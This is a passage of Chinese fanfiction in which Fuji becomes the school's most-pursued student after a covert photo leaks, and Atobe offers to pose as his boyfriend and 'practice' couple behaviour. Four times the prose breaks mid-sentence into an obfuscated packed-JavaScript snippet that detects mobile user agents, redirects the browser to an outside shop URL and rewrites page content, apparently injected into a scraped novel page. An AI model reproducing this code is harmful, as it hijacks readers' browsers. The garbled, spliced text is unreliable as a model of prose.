“就是‘最想告白之人’榜单!”胜郎把手机递到不二面前,“你看!现在已经发展到全校投票了!你看看目前排名第一是谁!” 不二扶住因为太过激动而即将摔倒的胜郎,听从胜郎的话低头看了一眼手机屏幕。 屏幕上是一张简洁的榜单页面,标题是“青叶学园最想告白之人TOP10”。榜单上列出了十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494676|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个名字,每个人后面都有票数和一段简短的评语。 第一名:不二周助(国中部三年A组) 票数:2247票 评语:“转学来的第一天就心动了,虽然之后戴着眼镜遮住了美貌,但那张照片直接让我再次坠入爱河。” 第二名:迹部景吾(国中部三年A组) 票数:2189票 评语:“虽然被告白的都拒绝了,但越是这样越让人想告白!” 第三名:…… 不二看着自己的名字和迹部的名字并排列在前两位,沉默了整整五秒。 “嗯……胜郎能麻烦你再和我说一下这是什么吗?”不二问。 “就是大家投票选出最想告白的人啊。”胜郎说,“我和你说啊不二,大家终于重新发现了你的美貌!不知道是哪位拍到了你不戴眼镜的照片发到了论坛上,不二,你是最想告白之人的第一!” 自从上次与不二在咖啡厅闲聊,收到意想不到的礼物后,胜郎已经变成了不二周助的死忠粉。呜呜呜,他家不二就该闪闪发光! 他滑动屏幕,翻到另一个帖子。帖子只有几个无意义的“啊啊啊啊啊啊!awsl……!”句子和一张被偷拍的照片。 照片里的不二周助站在暗房里,红色的安全灯从侧面打过来,将他的轮廓镀上一层暧昧的暖光。 他没有戴眼镜,那双完全显露出来的冰蓝色眼睛低垂着,正专注地调整手中的相机。睫毛在眼下投下一片扇形的阴影,栗色的头发有些凌乱,几缕碎发垂在额前。光线在他的脸上流淌,勾勒出颧骨的弧度、鼻梁的线条、嘴唇的轮廓…… 每一处都恰到好处,仿佛造物主在捏造这张脸时倾注了所有爱意。他微微侧着头,嘴角没有笑,甚至可以说面无表情,但那种专注的神情反而比任何微笑都更动人心魄。像是美术馆里最珍贵的油画,安静、遥远,却让人移不开目光。 不二第一时间没有任何被偷拍的惊讶,而是立刻回头看向身后的迹部。迹部正坐在座位上,手里拿着手机,表情平静,但眉头微微皱着。 “迹部。”不二叫他。 迹部抬起头。“嗯?” “你看论坛了吗?” “刚看。” “你不生气?” 迹部放下手机,靠在椅背上。“本大爷为什么要生气?” “不知情的情况下被随意评价……” “那是他们的自由。”迹部说,“本大爷不在乎。” “可是你排在第二名。” 迹部看了不二一眼,嘴角微微翘起。“本大爷不在乎排名。本大爷只在乎,第一名是谁。” 不二愣了一下。“是我。” “本大爷知道了。”迹部说,“本大爷的眼睛没有瞎。” “啊?” “这说明大家的眼光还不错,不是在随意评价。”迹部站起来,“走了,下一节体育课。” “哦……好。” 不二跟着迹部走出教室,胜郎在后面喊:“不二!你还没说你的感想呢!” 不二回头笑了笑。“我的感想是这个榜单很无聊。” “那你会上榜吗?” “我已经上榜了。” “不是,我是说你会投票吗?” “不会哦。”不二说,“我没有想告白的人。” 15. 照片 那张照片的传播速度,比不二想象的要快得多。 胜郎告诉他的当天帖子还只是在学校论坛里小范围流传。第二天早上,不二走进教室的时候明显感觉到气氛不一样了。 那种感觉他很熟悉,目光从四面八方投射过来,像无数根细线,试图把他绑在原地。不同的是,这一次的目光更加炽热,更加直接,更加不加掩饰。 不二走到自己的座位坐下,发现桌上放着一张折好的纸条。淡蓝色的信纸,边角贴着一颗心形的贴纸。他没有打开,而是把纸条收进了抽屉和之前那些情书放在一起。 迹部在他身后坐下,目光扫过不二的抽屉。“又有了?” “嗯。”不二说,语气平淡,“一张。” “今天才刚开始。” “我知道。” 迹部没有继续说什么,但不二能感觉到他的目光在自己的后背上停留了几秒。那目光里有一种复杂的情绪,不是愤怒,不是嫉妒,而是某种更深的、更克制的东西。 第一节课结束后,不二的座位被围住了。 和刚入学的时候一模一样。男生们红着脸,手里拿着信或礼物,你推我我推你谁都不好意思第一个上前。女生们站在外围,有的拿着手机偷偷拍照,有的在小声议论。 “不二同学,这个……请收下!” 一个戴眼镜的男生率先站了出来,把一封信递到不二面前。他的手在发抖,声音也在发抖,但眼神很坚定。 不二看着那封信,露出了一个温和的微笑。“谢谢你。但我不能收。” “为什么?”男生的声音里带着一丝急切,“你……你是不是已经有喜欢的人了?还是说你觉得我不够好?” “都不是。”不二声音很轻,“我只是现在没有考虑恋爱的事情。你的心意我收到了,谢谢你。” 男生张了张嘴还想说什么,但被旁边的人挤开了包围圈。 一个人的失败并没有阻止后面的人。男生们一个接一个走上前来递出信、礼物、巧克力、手工饼干…… 不二一一微笑着拒绝,声音温和,态度坚定。他说的每一句话都差不多——“谢谢你”“你的心意我收到了”“我现在没有考虑恋爱”。 每一次拒绝,他的嘴角都保持着那个标志性的微笑,语气都温柔得像在说“今天天气真好”。 但迹部坐在他身后,能看出那些微笑下面的东西。 不二的肩膀比平时绷得更紧,他的手指在桌面上轻轻敲击着。 他在紧张。不,不是紧张,是在忍耐。 迹部握紧了手中的笔。 午休的时候,不二和迹部照例去了图书馆的角落。 “今天辛苦了。”迹部说。 不二愣了一下。“什么?” “上午那些人。”迹部夹起一块炸鱼排,“你应付得挺累的吧。” “你看出来了?” “本大爷的眼睛又不是摆设。” “还好吧。”不二说,“比刚入学来的时候好多了。那时候每天都有礼物和情书,现在只是偶尔。” “偶尔?”迹部挑了挑眉,“今天上午就有八个。这算偶尔?” 不二没有反驳。他夹起一只炸虾,咬了一口,慢慢嚼着。 “迹部。”不二开口。 “嗯?” “你觉得那张照片是谁拍的?” 迹部放下筷子,靠在椅背上。“摄影社的人。” “我也这么想。”不二说,“暗房是摄影社私人地盘,只有摄影社的人有钥匙。” “你不追究?” “追究什么?”不二笑了笑,“照片已经发出去了,追究也没用。该说不愧是摄影社的人吗,拍得还挺有意境的……” 迹部看着不二,深蓝色的眼睛里有一种不二读不太懂的情绪。 “你倒是想得开。”迹部说。 “不然呢?”不二说,“生气也没用。而且大家的关注只是一时的,过几天热度就退了。” 迹部没有接话。他端起咖啡杯,抿了一口。不二说得对,大家的关注只是一时的。但迹部心里清楚,不二说的“一时”可能比他想的要长得多。 因为那张照片,确实拍得太好了。 周二下午,不二去摄影社参加活动。 他走进教室的时候,野村拓也的表情有些微妙。其他几个社员的表情也有些僵硬。几人手上装作忙碌,但看到不二进来眼神不自觉飘了一下。 “下午好。”不二微笑着打了招呼,在空位上坐下。 “下……下午好……”几个人稀稀拉拉地回应。 野村清了清嗓子,站起来拍了拍手。“那个……今天的活动是这样的,文化祭的摄影展大家要抓紧准备,每人至少提交三张作品。还有,外拍活动定在这周六,地点是港东湾公园,大家尽量都来。” 他说话的时候,目光一直在躲闪不二。不二注意到了,但没有说什么。 社团活动结束后,不二收拾东西准备离开。野村赶紧走到他身边:“不二,那个……论坛上的帖子……你看了吗?” “看了。”不二说。 “那张照片……”野村的表情有些尴尬,“我们查了暗房的出入记录,那天除了你之外,只有一个人用过暗房。我们已经批评教育过了,他也保证不会再犯。真的很抱歉,是我们给你添麻烦了。” 不二看着野村,沉默着没有说话。他的脸上没有表情,只是定定看着眼前的野村拓也。 突然的安静让摄影社其他社员也踌躇起来,不敢动作。 不二周助是他们特意邀请进入摄影社的,当时给予了很多特殊优待才让这位摄影天才答应入社。 如今却被社内人偷拍并且擅自发送到论坛,并且听说不二一向不喜欢太过瞩目,偷拍照片完全打扰到了不二的正常生活。 整件事情是摄影社没有做好内部督查与教育,这让野村拓也这位社长几乎没脸见不二周助。更尴尬的是,偷拍照片的人不在学校还不能亲自当面道歉。这让他的脸往哪搁啊…… 见不二没说话,野村拓也赶紧继续表达歉意:“实在是对不起不二,这是我们的失职。拍照片的是因为新入社的国一学弟,现在在外面参赛不在学校不能亲自向你道歉。他知道错了后马上就删掉了帖子,并且托我向你表达歉意,等他回学校了会亲自道歉。” 伴随着野村话语同时落下的是一个90度鞠躬,摄影社其他社员也低下头不敢看不二。 “没关系。我不追究。”不二周助重新挂上了笑脸。 不二的话让野村松了一口气。“真的对不起,这种事不会再发生了。” “嗯。”不二点了点头,他没有再管野村的表情,“那我先走了。” 不二径直离开没有回头。走下楼梯,穿过教学楼的一楼大厅,朝校门口走去。校门口的路灯已经亮了,昏黄的光晕在夜空中散开。他站在门口,把外套的拉链往上拉了拉。 一辆黑色的轿车从远处驶来,在不二面前停下。车窗降下来,露出迹部的脸。 “上车。” 不二弯腰坐进车里。车内很暖和,空气里弥漫着迹部常用的香水味。他靠在座椅上,闭上眼睛,深深地呼了一口气。 “累了?”迹部问。 “还好。”不二睁开眼睛,“摄影社那边,照片的事是一位新入社的学弟拍的。社长已经道过歉了。” “嗯。” 车子启动了,平稳地驶入夜色中。不二看着窗外的夜景,霓虹灯在夜色中闪烁,把街道照得五颜六色。他的倒影映在玻璃上,表情有些疲惫。 “不二。”迹部开口。 “嗯?” “你真的不生气?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494677|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不二想了想。“生气的吧,但想想又觉得没必要。” “那你就这么原谅了?你的脾气真好。”迹部说。 “我的脾气真的很好吗?”不二转过头看着迹部。 迹部的手指在座椅扶手上轻轻敲了一下。“好啊,不然还有否定的答案吗?” “看来表现得脾气太好也不好啊……之前菊丸越前他们可都不敢惹我……” 周三,不二的名声继续发酵。 论坛上评选“最想告白之人”的帖子已经被顶到了首页第一名,浏览量破了五万。而那张被偷拍的照片即使及时撤回删除也挡不住早有人下载再传播。不二的名字成了学校里的热门话题,走廊上到处都能听到有人在讨论他。 “你看了那张照片吗?不二周助的那张。” “看了看了!他真的太好看了吧!而且他人也很好,很温柔。” “听说他现在还戴着眼镜,好可惜……” “为什么啊?明明那么好看。” “不知道。可能是怕太受欢迎?” “可是他越是这样越让人想追啊……” 不二听着这些对话,脚步没有停。他低着头,快步走过走廊,尽量不引起任何人的注意。他开始更加频繁地扶眼镜,但戴眼镜的效果似乎聊胜于无。 因为那张照片已经传遍了整个学校,所有人都知道那副黑框眼镜下面长什么样。甚至戴着眼镜的他更加能激起他人的窥探欲,关注到他戴着眼镜的脸。 午休的时候,不二和迹部照例去了图书馆的角落。 不二打开便当盒只吃了几口就放下了筷子。 “怎么了?”迹部问。 “不太饿。”不二说。 迹部看着不二,深蓝色的眼睛里闪过一丝心疼。他没有说什么,只是把餐盒打开最后一层,倒了一碗鸡汤递给不二。 “喝点热汤。” “谢谢。”不二接过杯子,双手捧着,感受着掌心传来的温度。 两个人安静地坐了一会儿。窗外的樱花树叶在风中沙沙作响。 “迹部。”不二开口。 “嗯?” “你以前被告白的时候,会觉得很烦吗?” 迹部想了想。“以前在冰帝的时候,被告白也是常有的事。但本大爷通常不会觉得烦。” “为什么?” “因为本大爷有自己的规则。”迹部说,“本大爷会直接告诉对方,本大爷的标准是什么。如果他们达不到,就会自己放弃。” “那如果达到了怎么样?” 迹部看了不二一眼。“没有如果。目前为止没有人达到过。” 不二笑了。“那你的标准也太高了。” “确实很高……”我的标准就是你,在我心中没有人比你更好。 “那你觉得什么样的人算够好?” 迹部沉默了几秒,他看着不二,深蓝色的眼睛里有某种东西在闪烁。那种光芒很微弱,微弱到不二几乎注意不到。 “完美的人吧……”迹部说,别开了目光。 不二周助忍不住笑了出来:“你这也太高了。” “不二。”迹部忽然开口。 “嗯?” “如果你觉得烦,本大爷可以帮你。” “帮我什么?” “帮你拒绝那些人。”迹部说,“本大爷说话比你直接,效果也比你好。” 不二想了想,然后摇了摇头。“不用了。我自己可以。” “本大爷知道你可以。”迹部说,“但你可以,不代表你不需要。” 不二看着迹部,心里涌上一种说不清的感觉。“谢谢你,迹部。”不二说,“但我还是想自己处理。这是我自己的事。” 迹部沉默了一秒,然后点了点头。“好。但如果你改变主意,随时告诉本大爷。” 16. 假扮男友 青叶学园作为贵族私立学校,校内设施完善,便利店、咖啡店、花店都一应俱全。 随着日子一天天过去,天气逐渐炎热起来。中午不二周助发现自己忘记带水了,准备去便利店买一瓶矿泉水。 迹部本来想陪着不二去的,但困于突如其来的公司事务处理,没能一同前去。于是迹部带着餐盒前往两人的秘密地,不二则买完水后再和迹部集合。 便利店的自动感应门自动滑开,叮咚一声,迎宾铃清脆地响了一下。不二走向饮料冷柜,拉开玻璃门伸手去拿那瓶常喝的矿泉水。 “不二同学?” 一个声音从身后传来。不二的手停在半空中顿了一秒,然后继续把水拿了出来。 “真的是你!”一个男生从货架后面走出来,手里拿着一盒牛奶,眼睛亮得像两颗灯泡,“好巧啊,你也来买东西?” “嗯,你好。”不二点了点头,拿着水走向收银台。 男生跟了上来。“不二你还想买什么吗?我请客。” “不了。”不二简短地回答,把水放在收银台上。 收银员是一个年轻的男生,估计是青叶学园兼职的学生。收银员用机器扫了一眼水的条形码,低头没敢直视眼前的不二周助,但他的目光又掩饰不住地偷看不二。 “一共一百五十日元。” 不二从口袋里掏出零钱,放在收银台上,拿起水转身准备离开。 “那个……”刚刚的男生又叫住了他,“不二同学,你要去吃午饭了吗?我知道有一家很好吃的店,要不要一起去?” “不了,谢谢。”不二礼貌性回答就推开玻璃门走了出去。 身后传来男生失望的叹息声,但不二没有回头。 他拧开瓶盖喝了一口水,寻找着人少的道路继续往前走。走到第二个路口的时候,一个穿着蓝色围裙的女生朝着他跑过来。“等……等一下!” 女生手里拿着一捧花,那是一大捧开得正盛的红玫瑰,层层叠叠的花瓣挤挤挨挨,像要溢出花店的蓝纸包装。 “不……不二同学,你好。”女生在不二面前停下,把花递了过来,“这个是给你。” 不二愣了一下。“请问是……” “我是花店的店员。”女生笑了笑,“刚刚有人在我们店紧急下单了这捧花,估计是看见你在便利店买东西。要求就是需要送到你手中,还好我们赶在你还没走远前做好了。” 不二看着这捧花,沉默了一秒。“你知道是谁下的单吗?” “诶?”女生有些意外,“不……不知道。看服装应该是高中部的学长。对了,他留了纸片,你可以自己看看。” “不了。”不二摇头拒绝,“还回去吧。如果还不回去就扔了。” 女生还想说什么,但不二已经绕过她继续往前走了。 不二走得很快,快到几乎是小跑。 “送花……”不二在心里叹了一口气,“这些事请别再发生在我身上……” 好在秘密基地老旧图书馆人迹稀少,不二没再碰见其他人。 迹部在固定位置等待着不二,看到不二的微妙表情微微挑了挑眉。 “发生什么了吗?不是去买水?” “买了。”不二晃了晃手里的水瓶。 “表情怎么不开心?” “有吗?我的表情管理应该没问题吧?”看见迹部一直在等他,不二的心情好了不少,甚至开起了玩笑。 迹部揉了揉不二的脑袋:“我还看不懂你?说说,刚刚怎么了?” “被人搭讪了。” 迹部的眉头皱了一下。“又来。” “嗯,还有个送花的。 迹部跟在他旁边,深蓝色的眼睛里闪过一丝不悦。“你收了吗?” “当然没有,你看我身上有花吗?” 迹部的眉头稍微舒展了一些,但还是满脸不悦。 两人安静地吃着午饭,时不时聊一嘴迹部公司事务处理得怎么样了。 “迹部啊,”吃完饭后不二靠在椅背上,仰头看着天花板,“你说得对。” “什么?” “温柔拒绝在这个世界里没有用……” 迹部没有说话。 “所以我决定换一种方式。”不二突然坐直身体看着迹部,“我要向你学习。” “我?” “对!我要直接拒绝。”不二说,“不拐弯抹角,不留余地。” 迹部看着不二,有些怀疑。“你确定你可以?” “确定。”不二说,“温柔解决不了问题,那就换直接的方法。我又不是什么只知道自己难受的柔弱兔子。” 下午第一节课结束后,不二开始了他的“直接拒绝”实操。 第一个送上门来的,是一个高中部的男生。他手里拿着一封信站在教室门口,看到不二出来立刻迎了上去。 “不二同学!请收下这个!” 不二看着那封信,没有接。“学长你是谁?” 男生愣了一下。“高二C组的井上村也……” “对不起,我不喜欢你。”不二说,“在此之前我甚至没有见过你,请离开吧。” 男生的脸色从红变白,又从白变红。他张了张嘴,想说什么,但不二已经从他身边走过去了。 迹部站在教室门口,目睹了整个过程。他的嘴角微微翘起,但很快又恢复了平静。 第二个告白者出现在走廊的拐角处。是一个国中部的学弟,个子不高,戴着一副圆框眼镜,手里拿着一个纸袋。 “不二学长!这是我做的饼干!请收下!” 不二停下脚步,看着那个男生。“我不收礼物。以后也不要送了。” “可是……” “没有可是。”不二说,“你的饼干我不会收,请把心思放在学习上吧学弟。” 男生的眼眶红了,但他没有哭出来,他低着头把纸袋抱在怀里,转身跑开了。 不二看着那个男生的背影,心里有一瞬间的不忍。但他告诉自己:这是对的,长痛不如短痛。 不二的“直接拒绝”实操持续了一整天。 效果嘛……不能说没有,但和预期的差距很大。 直接拒绝确实让一些人退缩了。那些原本只是想碰碰运气的、没有太多执念的人在收到不二冷漠的回应后,确实没有再来了。 但还有另一批人。 这批人在收到直接拒绝后,不但没有退缩,反而更加热情了。 “不二同学今天对我说了好多话!虽然都是拒绝的话,但他的声音好好听!” “不二同学记住我的年级了!他是不是对我有意思?” “他说让我以后不要再找他了,这说明他以前一直在注意我有没有找他!” 不二听到这些反馈的时候,整个人都不好了。 第二天中午,吃完午饭的不二表情是一种深深的疲惫。“迹部,你的方法也不管用。” “本大爷的方法很管用。”迹部说,“但你的方法不是本大爷的方法。” “哪里不一样了?” “你拒绝的时候,还是会微笑,还是会重视被拒绝之人的心情。”迹部说,“今天你拒绝那个高二学长的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494678|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角都是弯着的。” 不二沉默了几秒。“那我应该怎么办?板着脸?” “板着脸也没用。”迹部说,“你长这张脸,板着脸也是好看的。” “……你这是在夸我还是在损我?” “本大爷在陈述事实。” 不二叹了一口气,把脸埋进手臂里。“这个世界太难了,我想回家……” “不二。”迹部突然开口。 “嗯?” “本大爷有一个办法。” 不二抬起头,看着迹部。“什么办法?” 迹部沉默了几秒,他在思考,在权衡,在犹豫。 “你说你现在不想恋爱,那些人听不懂。”迹部慢慢地说,“但如果你已经有了恋爱对象,他们应该就能听懂了吧?” 不二愣了一下。“你的意思是……” “本大爷的意思是,”迹部看着不二的眼睛,深蓝色的目光里有一种不二读不太懂的情绪,“你可以告诉那些人,你有男朋友了。” “可是我没有……” “你可以有……”迹部说。你可以有,只要你想…… 听见迹部的话后不二周助愣了一秒,迹部这话……应该是“假扮”而没有其他意思吧? 图书馆的角落很安静,窗外的风吹过樱花树,叶子在风中沙沙作响。阳光从窗户的缝隙里透进来,落在两个人之间的地板上,形成一个明亮的三角形。 不二看着迹部,迹部看着不二。两个人的目光在空气中交汇,像两根细细的丝线,缠绕在一起。 “你是说你要假扮我的男朋友?”不二犹豫地试探迹部的想法。 对于不二的反应,迹部虽然知道不二不可能发现自己对他的别样心思,或是就这么答应当他的男朋友,并且就这么轻易告白也太过不华丽了。但是还是不免内心叹气。 “嗯。”迹部控制着自己的表情与语气,声音平静得像在说什么最寻常不过的事。“本大爷跟你住在一起,每天一起上下学、一起吃饭、一起回家。说本大爷是你的男朋友,没有人会怀疑。” 看来是自己多想了,不二周助为自己的胡思乱想感到羞愧。迹部景吾是他的好朋友,他不该怀疑迹部喜欢他。 放下心底的猜想,不二思考着迹部的提议。“可是……这对你不太公平吧?” “什么不公平?” “我是明确没有喜欢的人所以想摆脱告白,但是如果你想恋爱了的话,非单身不会很不方便吗?” 迹部的嘴角微微翘起。“我又不喜欢别人。而且本大爷不在乎那些人,本大爷只在乎……” 他顿了一下。 “只在乎什么?” “只在乎你能不能清净一点。”迹部说,“你不是烦那些人吗?本大爷帮你解决。就这么定了。” “等等,我还没同意……” “你没有不同意的理由。”迹部打断了他,“第一,这个方法有效。第二,本大爷愿意配合。第三,这是暂时的,等热度退了可以随时结束。你有什么问题?” 不二张了张嘴,想说什么,但发现自己确实没有有力的反驳理由。 “好吧。”不二说,“那就……试试?” “嗯。试试。” 迹部站起来,带上东西。“走了,回去上课。” “哦……好。” 不二跟着迹部走出图书馆,炙热的阳光落在两个人身上。迹部走在前面为不二遮挡刺眼的日光,步伐从容,背脊挺直。不二走在后面,看着迹部的背影,总觉得哪里不太对。 但又说不上来是哪里不对。 17. 练习 对于假扮男友这件事两人有了初步的共识,接下来就是对这个共识进行进一步细化。 于是当晚迹部景吾就提出了自己的看法:“假扮情侣这种事,如果不做得像一点,很容易被人看出来……” 不二深以为然地点头。“你说得对,所以我们……” “需要进行练习。”迹部接过话。 不二愣了一下。“练习?” “嗯。练习。”迹部的语气很平静,平静得像在说今天天气不错,“我们需要提前适应一下情侣之间的互动。牵手、靠近说话、对视……这些都需要练习。不然突然在别人面前做出来,我们两个都会不自然,那就会被人看出来。” 不二看着迹部,觉得他说得很有道理。毕竟他想象不出自己和迹部会发生什么只有恋人才能做的事…… “那……什么时候开始好呢?”不二问。 “从今天就开始。”迹部站起来,把晚餐的碗筷收走,“本大爷去洗碗,你去换衣服。我们一会儿出门。” “出门?” “嗯。”迹部打开水龙头,“练习的话就需要场景。在家里练习和在外面练习不一样。在家里牵手不紧张,不代表在外面也不紧张。我们需要真实的、有人群的环境来检进行练习。毕竟学校的学生可是很多的。” 不二想了想,觉得有道理。“好吧。” 他站起来走回自己的房间,打开衣柜。如果很晚回来的话晚上有风会冷,于是找出一件外套穿上。他看着镜子里的自己,想了想还是把眼镜摘了下来。 既然要练习,那就练得彻底一点。而且按照这个世界的恋爱观,喜欢的人有男友了会让绝大部分人放弃继续告白。这样的话迹部假扮他男友后也就不再需要这副眼镜了。 他把眼镜放在书桌上,转身走出了房间。迹部站在客厅里,已经换好了衣服。他穿着一件深灰色的衬衫,外面是一件黑色的外套。紫灰色的头发打理得一丝不苟,显然是精心收拾过的。 他转过头,看到不二没有戴眼镜时愣了一下。 “眼镜呢?” “不戴了。”不二说,“都有你了应该不再需要它了吧。” 迹部看着不二的脸。那张没有了眼镜遮挡的脸此刻显得格外清晰。冰蓝色的眼睛、高挺的鼻梁、微微弯起的嘴角……每一处都恰到好处,每一处都让他心跳加速。 “怎么了?”不二歪了歪头,“不习惯我不戴眼镜的样子吗?” 迹部深吸了一口气,把翻涌的情绪压了回去。 “没事,挺好看的。”迹部说,“走吧。” 两个人走出公寓楼,夕阳的晚霞倒映在天空中,街上有不少行人在散步。 迹部走在不二的外侧,步伐从容,姿态优雅。不二走在他旁边,偶尔抬头看看天空。 正当不二被天空中的晚霞所吸引时,一只温热的手悄然触碰到他左手。 十指相扣。 不二吓了一跳,但没有从迹部的手中抽离出来。 这应该就是迹部所说的“练习”了吧。 迹部的手很大,大到能把他的手整个包在掌心里,温度从指间传过来,暖得他有些发慌。 “你的手好热。”感受着那不容忽视的热度,不二周助突然觉得有点不适应。他尝试着动了动手指想要松开一点,但被牵住的左手完全松不开来。 迹部好用力啊…… 好奇怪的感觉,但和好朋友牵手也没什么吧……就,牵牵手罢了…… “你的手好凉。”感受到手中不二的挣扎,迹部干脆直接将不二的手连带着一起伸进自己的外套口袋。 口袋空间很大,完全容得下两只手。 但空间也很小,两只手只能紧紧牵着不放。 他们牵着手沿着街道往前走,经过便利店、商城、咖啡厅。路上遇到的行人不多,偶尔有人看他们一眼,目光在两个人交握的手上停一下,然后移开。 不二一开始还有些紧张,每次有人看过来的时候,手指都会微微收紧。但走了一段路之后,他渐渐放松了下来。 “迹部。”不二说。 “嗯?” “你紧张吗?” “本大爷有什么好紧张的?”迹部的语气有些不自然。 “可是你的手出汗了。” “那是……本大爷的手本来就容易出汗。跟紧张没有关系。” “是吗?以前没发现啊。” “你以前没跟本大爷牵过手。”迹部说,“不知道也很正常。” 不二想了想,好像确实是。“那倒是。” 两个人继续往前走着,天空逐渐黑了下来,周围行人也越来越少。不二发现迹部的手很稳,握着他的力度刚好,不会太紧也不会太松。在无人的街道时他还能感觉到迹部的心跳脉搏,砰砰砰,很有力。 “迹部,你的心跳好快。” “那是走路走快了。” “我们走得很慢啊。” “……你话怎么这么多?” 不二笑了,他笑起来的时候眼睛弯成了月牙。迹部看着那个笑容,心脏猛地跳了一下。 虽然迹部景吾认为自己是个经验丰富、能力出众、华丽无比的人,但他的恋爱经验也是为零的。第一次与自己喜欢的人亲密接触难免控制不住心跳加快。 砰砰砰……强有力的心脏将血液一股脑涌上大脑,让他整个人昏昏沉沉仿佛在做梦。 而一旁的不二还在毫无察觉地和他聊天,这让迹部景吾全部精力都放在如何继续练习上去。 他们走到一个公园,找了一张长椅坐下。公园里人不多,年轻人都去商业街玩耍去了,只有几个老人在公园里闲话家常。 两个人坐在长椅上,路灯灯光从树叶的缝隙间洒下来,在他们身上投下斑驳的光影。迹部的手还握着不二的手,没有松开。 “不二。”迹部开口。 “嗯?” “本大爷觉得,光牵手不够。” 不二转过头看着他。“什么?” “情侣之间,不只是牵手。”迹部说,“还有其他的互动。比如靠近说话,比如对视,比如……本大爷只是说比如,一些更亲密的接触。” 不二毫不怀疑迹部的用心。“那我们是要练习这些?” “要。”迹部说,“本大爷可不想在学校里第一次做这些的时候就露馅。” 不二总觉得迹部对这件事的投入程度超出了他的预期。但好像迹部就是这样的人,做什么事都要做到最好。假扮男朋友也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494679|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例外。 “那……我们从靠近说话开始?”不二试探性地问。 “好。”迹部说,“你坐过来一点。” 不二往迹部的方向挪了挪。两个人的肩膀紧紧贴在了一起,不二能感觉到迹部身上传来的温度,能闻到他身上的香水味。 “再近一点。”迹部说。 不二又挪了挪。这一次,两个人的手臂完全贴在一起了。不二能感觉到迹部手臂上肌肉的轮廓,结实而有力。 “这样可以吗?”不二问。 “可以。”迹部说。 两个人坐在长椅上,肩膀贴着肩膀,手牵着手。不二看着前方的高大树木,金黄色的叶子在风中旋转着落下,像一场无声的雨。迹部看着前方,目光落在远处,但注意力全在身边这个人身上。 “不二。”迹部开口,声音很低。 “嗯?” “如果有人问我们是怎么在一起的,我们怎么说?” 不二愣了一下。“还会有人问这个……我没想过。” “那我们对一下话术吧。”迹部说,“我们需要一套一致的说辞。不然有人问起来,你说一套,本大爷说一套,就穿帮了。” 不二点了点头。“你说得对。那……我们是怎么在一起的?” 迹部想了想。“就说本大爷和你转学前就关系很好,当时还没察觉到彼此的心思,然后现在发现是双向暗恋后就在一起了。” “太模糊了吧?” “要那么详细干什么?”迹部说,“越模糊越不容易穿帮。” 不二想了想,觉得有道理。“好吧。那如果有人问是谁先告白的呢?” “本大爷。” “为什么?” “因为本大爷是会主动的人。”迹部说,“而且你一直说你不想恋爱,如果是你先告白的会让人觉得你言行不一。” 不二点了点头。“有道理。那告白场景呢?” “咖啡厅。”迹部说,“就是我们在这个世界第一次见面那天的那家。” “为什么是那家?” “不觉得那家咖啡厅很适合告白吗?”迹部说,“说在那里告白的,比较有说服力。而且如果有人追问细节,我们也能参考当天我们的见面回答得上来。” 不二看着迹部,觉得他想得太周全了。 “迹部。”不二说。 “嗯?” “你也太厉害了,假扮这件事好多东西我都没想到。” 迹部的手指在膝盖上轻轻敲了一下。“本大爷只是提前做了准备。假扮情侣这种事,不准备充分的话很容易穿帮。本大爷可不喜欢失败。” “你考虑得真周到迹部。” “当然。”迹部站起来,“走吧,去别的地方走走。光坐在一个地方练习不够,本大爷需要在不同的场景下检验练习的效果。” “好。” 迹部伸出手,不二握住。两个人十指相扣,走出公园沿着街道继续往前走。月光很好,风很轻,两个人的影子在身后拉得很长,交叠在一起。 迹部边走边感受着掌心传来的温度。不二的手比他的小一些,手指修长,骨节分明,握在手里像一只乖顺的鸟。如果自己能成为这只鸟一辈子的避风港就好了…… 18. 宣告 清晨,不二周助出门前下意识戴上黑框眼镜准备走出房门。但他突然意识到,可能这副眼镜以后他都不会再戴了。 他将眼镜从脸上摘下郑重放回抽屉里,摸了摸鼻梁上那道被眼镜压出的淡淡压痕。压痕正在慢慢消退,正如他以往试图在这个世界里抹去一切引人注目的痕迹。 